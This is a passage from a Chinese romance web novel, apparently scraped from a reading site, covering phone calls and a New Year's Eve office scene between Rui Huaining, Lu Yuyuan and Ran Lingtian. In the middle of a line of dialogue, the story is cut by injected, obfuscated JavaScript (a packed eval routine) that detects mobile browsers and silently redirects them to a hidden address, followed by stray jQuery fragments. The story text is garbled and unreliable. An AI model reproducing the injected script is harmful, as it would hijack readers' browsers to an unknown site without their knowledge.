陆虞渊此时此刻表情很复杂:“你打我的电话就是为了问我另一个男人想保护你的事情?”
芮槐宁当然看不见他是什么表情,且她已经被陆虞渊奇怪的中译中给搞晕了:“你在说什么东西啊?我的意思就是,你们都让我想想,但我想不明白。”
陆虞渊深吸了一口气:“想不明白就接着想。以后关于冉凌天的事不许打我电话。”
“……感情你们都是谜语人,就我是个蒙鼓人。你们都不说是吧?不说算了,反正我现在好着呢,根本不需要他冉凌天瞎操心。”芮槐宁语气很有些不满。
电话那头的陆虞渊沉默了很久,久到芮槐宁都开始怀疑他是不是被外星人抓走了,他才突然来了一句:“因为他想给你的好比你想要的多啊。
“不想你挂在热搜上被人骂,也不想圈子里觉得你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15903749|176754||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是个多么狠心的女人,更不想你因为揽了麻烦事招小人惦记。你是觉得你现在挺好的,可还是有人会心疼的。”
芮槐宁举着电话愣了一下,直到她的大脑终于重启完成,她才小心翼翼又有点困惑地:“可是我不需要人心疼啊。”
不就是被骂两句,被人传点坏话吗?就这?她怀宁大帝需要人家来心疼吗?
“……你爱要不要。”陆虞渊说完就挂断了电话。
芮槐宁撇了撇嘴,然后顺手打开了外卖软件。
事已至此,先吃饭吧。
***
12月31日,其羽传媒上下都已经放假了,林晴带着宣传部的小姐妹们workfromhome,随时准备给自家各个上了跨年晚会的小宝贝们准备热搜和红稿。
华安国际整栋写字楼里甚至都没剩几个人,冉凌天一路晃晃悠悠逛到26层,只有芮槐宁还在办公室里对着一桌子的书狂啃。
“不是吧你?果然又在办公室啊?”冉凌天敲了敲虚掩的门,“前年元旦你就在加班,去年元旦你还在加班,别告诉我今年元旦你也……”
他的话没说完,因为从他推门进去开始芮槐宁就在拼命地把桌上的书往自己怀里扒拉,甚至有几本藏不下的已经被她乎到地上去了。
冉凌天颇为震撼地眨了眨眼睛:“……你这是?”
“……守护宝藏的恶龙。”芮槐宁趴在书堆上朝他仰起脸。
其实她也没有在看什么奇怪的东西,无非就是她那堆宝贵的化学和农学专业书。
但是看到冉凌天进来,她的第一反应就是绝对不能让他发现自己在搞一轮复习,不然很难解释啊!
虽然现在好像更难解释了。
“噗……”冉凌天笑喷了,“那我先退出去,等你把你的宝藏整理好我再进来。”
善解人意的王子殿下转身出去还贴心地带上了门,芮槐宁连忙把所有书和笔记本堆进了抽屉里。
“进来吧。”她理了理头发,装作很镇定的样子开口道。
冉凌天再进门的时候还是一副要笑不笑的样子,芮槐宁见状瞪了他一眼:“我没有在看奇怪的东西!”
冉凌天点了点头:“放心吧,你就算在看奇怪的东西我也不会说出去的。”
……虽然这句话乍一听好像也没什么毛病,但芮槐宁还是觉得怪怪的!
“咳。”她清了清嗓子,“你找我干嘛?”
“带你去看烟花。”冉凌天深邃的眼睛望着她,平白流露出一点容易让人误解的意味。
芮槐宁还没忘记他前段时间那句“等我回国再说”,生怕这场烟花是什么鸿门宴,是以加倍小心地挑拣着用词:
“啊,烟花挺好的哈哈,但是你个小朋友带我看不合适吧?你不应该……”
在家里陪你爸妈和姐姐吗?
但是她的话没说完,因为冉凌天已经把双手撑在了桌面上,大半个身子都朝她倾斜过来:
“你要是再说我是小朋友……”